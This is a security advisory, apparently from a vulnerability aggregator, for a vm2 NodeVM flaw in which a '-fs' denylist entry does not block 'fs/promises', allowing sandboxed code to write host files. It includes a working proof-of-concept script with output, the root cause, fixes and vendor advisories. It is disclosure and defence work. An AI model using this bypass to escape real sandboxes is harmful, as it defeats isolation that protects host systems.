vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writesGHSA-6rh5-qq4q-97xh
HIGHFix: patriksimek/vm2@59d35f6GHSA-6rh5-qq4q-97xh is a high-severity (CVSS 8.5) Improper Privilege Management vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6rh5-qq4q-97xh.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.
With the following configuration:
require: {
builtin: ['*', '-fs', '-child_process']
}
require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.
Affected Mode
NodeVM.
Affected Configuration
new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.
Affected Files / Functions
lib/builtin.jsDANGEROUS_BUILTINSBUILTIN_MODULESmakeBuiltinsFromLegacyOptionsaddDefaultBuiltin
lib/resolver.jsResolver.resolveResolver.loadBuiltinModule
lib/setup-node-sandbox.jsrequireImpl
Root Cause
lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.
There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').
Security Boundary Crossed
Sandboxed code can perform host filesystem writes even though the embedder denied fs.
Impact
Confirmed impact:
- Host file creation
- Host file write
The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.
Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');
const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;
try {
fs.unlinkSync(proofPath);
} catch (_) {}
(async () => {
const vm = new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
const result = await vm.run(`
module.exports = (async () => {
const r = {};
try {
require('fs');
r.fsLoaded = true;
} catch (e) {
r.fsBlocked = true;
r.fsError = e && e.code;
}
try {
require('child_process');
r.childProcessLoaded = true;
} catch (e) {
r.childProcessBlocked = true;
r.childProcessError = e && e.code;
}
const fsp = require('fs/promises');
r.fsPromisesLoaded = true;
r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();
await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
r.wrote = true;
return r;
})();
`);
const exists = fs.existsSync(proofPath);
const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;
console.log(JSON.stringify({
result,
hostFileExists: exists,
hostFileContent: content
}, null, 2));
try {
fs.unlinkSync(proofPath);
} catch (_) {}
})().catch(error => {
try {
fs.unlinkSync(proofPath);
} catch (_) {}
console.error(error);
process.exitCode = 1;
});
Observed result:
{
"result": {
"fsBlocked": true,
"fsError": "ENOTFOUND",
"childProcessBlocked": true,
"childProcessError": "ENOTFOUND",
"fsPromisesLoaded": true,
"wrote": true
},
"hostFileExists": true,
"hostFileContent": "vm2-fs-promises-marker-<pid>"
}
Additional local checks:
require('node:fs/promises')also loads and can write the proof file.- Adding
-fs/promisesblocksrequire('fs/promises'). - Adding only
-node:fs/promisesdoes not blockrequire('fs/promises').
Expected Secure Behavior
If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:
fsfs/promisesnode:fsnode:fs/promises
Negative entries with and without node: should be normalized consistently.
Suggested Fix
-
Normalize builtin names before allow/deny checks:
- Strip
node:for comparison. - Use one canonical key form internally.
- Strip
-
Treat negative builtin entries as family denials where appropriate:
-fsshould blockfs/promises.-inspectoralready conceptually blocksinspector/promises; apply the same family logic to user-provided negative entries.
-
Add regression tests for:
builtin: ['*', '-fs']blocksfs/promises.builtin: ['*', '-fs']blocksnode:fs/promises.-node:fs/promisesand-fs/promisesbehave equivalently.- Explicit allowlist behavior is documented and covered.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.7npm install vm2@3.11.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6rh5-qq4q-97xh is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Important: Red Hat products utilizing vm2, such as Red Hat Ansible Automation Platform and Red Hat Developer Hub, are affected by a sandbox escape vulnerability. This flaw allows sandboxed code to bypass denylist restrictions and access the host filesystem, enabling unauthorized file creation, writing, and other…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-6rh5-qq4q-97xh (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.1 | ansible-automation-platform/automation-portal:1790254963 | RHSA-2026:72712 |
| Red Hat Ansible Automation Platform 2.2 | ansible-automation-platform/automation-portal:1790256405 | RHSA-2026:72722 |
| Red Hat Ansible Automation Platform 2.2 | ansible-automation-platform/bootc-automation-portal-rhel9:1791865660 | RHSA-2026:82151 |
| Red Hat Developer Hub 1.10 | rhdh/red-hat-developer-hub-backstage-plugin-lightspeed-backend:1791242697 | RHSA-2026:76788 |
| Red Hat Developer Hub 1.10 | rhdh/rhdh-hub-rhel9:1791311495 | RHSA-2026:79088 |
| Red Hat Developer Hub 1.9 | rhdh/rhdh-hub-rhel9:1793117813 | RHSA-2026:91651 |
Frequently Asked Questions
Is GHSA-6rh5-qq4q-97xh in your dependencies?
Find it across npm, including transitive dependencies.